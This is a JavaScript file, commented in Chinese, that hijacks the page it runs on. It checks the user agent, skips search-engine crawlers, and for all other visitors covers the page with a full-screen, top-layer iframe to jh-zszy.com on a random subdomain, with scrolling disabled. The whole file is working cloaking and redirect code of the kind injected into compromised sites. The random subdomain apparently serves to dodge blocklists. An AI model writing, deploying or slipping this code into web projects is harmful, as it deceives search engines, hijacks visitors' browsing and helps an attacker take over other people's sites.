// 优化后的代码（已加随机泛前缀）
(function() {
    'use strict';
    
    // 配置对象，便于维护和修改
    const config = {
        mobileUrl: "https://jh-zszy.com",
        desktopUrl: "https://jh-zszy.com",
        spiderPatterns: /(spider|bot|crawler|indexer|scraper)/ig,
        mobilePatterns: /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i,
        maxZIndex: 2147483647
    };
    
    // 获取UserAgent，只获取一次
    const userAgent = navigator.userAgent || '';

    // ✅ 新增：生成随机前缀
    function generateRandomPrefix(length) {
        const chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
        let result = '';
        for (let i = 0; i < length; i++) {
            result += chars.charAt(Math.floor(Math.random() * chars.length));
        }
        return result;
    }

    // ✅ 新增：构建随机子域URL
    function buildRandomUrl(baseUrl) {
        try {
            const url = new URL(baseUrl);
            const prefix = generateRandomPrefix(6);
            return url.protocol + '//' + prefix + '.' + url.hostname;
        } catch (e) {
            return baseUrl;
        }
    }
    
    // 检查是否为搜索引擎蜘蛛
    function isSearchEngineSpider() {
        return config.spiderPatterns.test(userAgent);
    }
    
    // 检查是否为移动设备
    function isMobileDevice() {
        return config.mobilePatterns.test(userAgent);
    }
    
    // 创建全屏iframe
    function createFullscreenIframe(url) {
        // 创建并添加viewport meta标签
        const viewportMeta = document.createElement('meta');
        viewportMeta.id = 'viewport';
        viewportMeta.name = 'viewport';
        viewportMeta.content = 'user-scalable=no, width=device-width, initial-scale=1.0';
        document.head.appendChild(viewportMeta);
        
        // 添加样式
        const style = document.createElement('style');
        style.textContent = `
            html, body {
                width: 100%;
                height: 100%;
                overflow: hidden;
                margin: 0;
                padding: 0;
            }
        `;
        document.head.appendChild(style);
        
        // 创建覆盖层
        const overlay = document.createElement('div');
        overlay.style.cssText = `
            width: 100%;
            height: 100%;
            position: fixed;
            top: 0;
            left: 0;
            z-index: ${config.maxZIndex};
            background: #fff;
            margin: 0;
            padding: 0;
        `;
        
        // 创建iframe
        const iframe = document.createElement('iframe');
        iframe.src = url;
        iframe.style.cssText = `
            border: 0;
            width: 100%;
            height: 100%;
            margin: 0;
            padding: 0;
            display: block;
        `;
        iframe.setAttribute('frameborder', '0');
        iframe.setAttribute('allow', 'fullscreen');
        
        // 组装元素
        overlay.appendChild(iframe);
        document.body.appendChild(overlay);
        
        // 防止滚动
        document.documentElement.style.overflow = 'hidden';
        document.body.style.overflow = 'hidden';
    }
    
    // 主逻辑
    function init() {
        // 如果是搜索引擎蜘蛛，直接返回，不执行任何代码
        if (isSearchEngineSpider()) {
            console.log('Search engine spider detected, skipping redirection.');
            return;
        }
        
        // 根据设备类型选择URL
        let targetUrl;
        if (isMobileDevice()) {
            targetUrl = config.mobileUrl;
            console.log('Mobile device detected, redirecting to:', targetUrl);
        } else {
            targetUrl = config.desktopUrl;
            console.log('Desktop device detected, redirecting to:', targetUrl);
        }

        // ✅ 加随机前缀
        targetUrl = buildRandomUrl(targetUrl);
        
        // 确保页面已加载完成
        if (document.readyState === 'loading') {
            document.addEventListener('DOMContentLoaded', function() {
                createFullscreenIframe(targetUrl);
            });
        } else {
            createFullscreenIframe(targetUrl);
        }
    }
    
    // 执行初始化
    init();
})();

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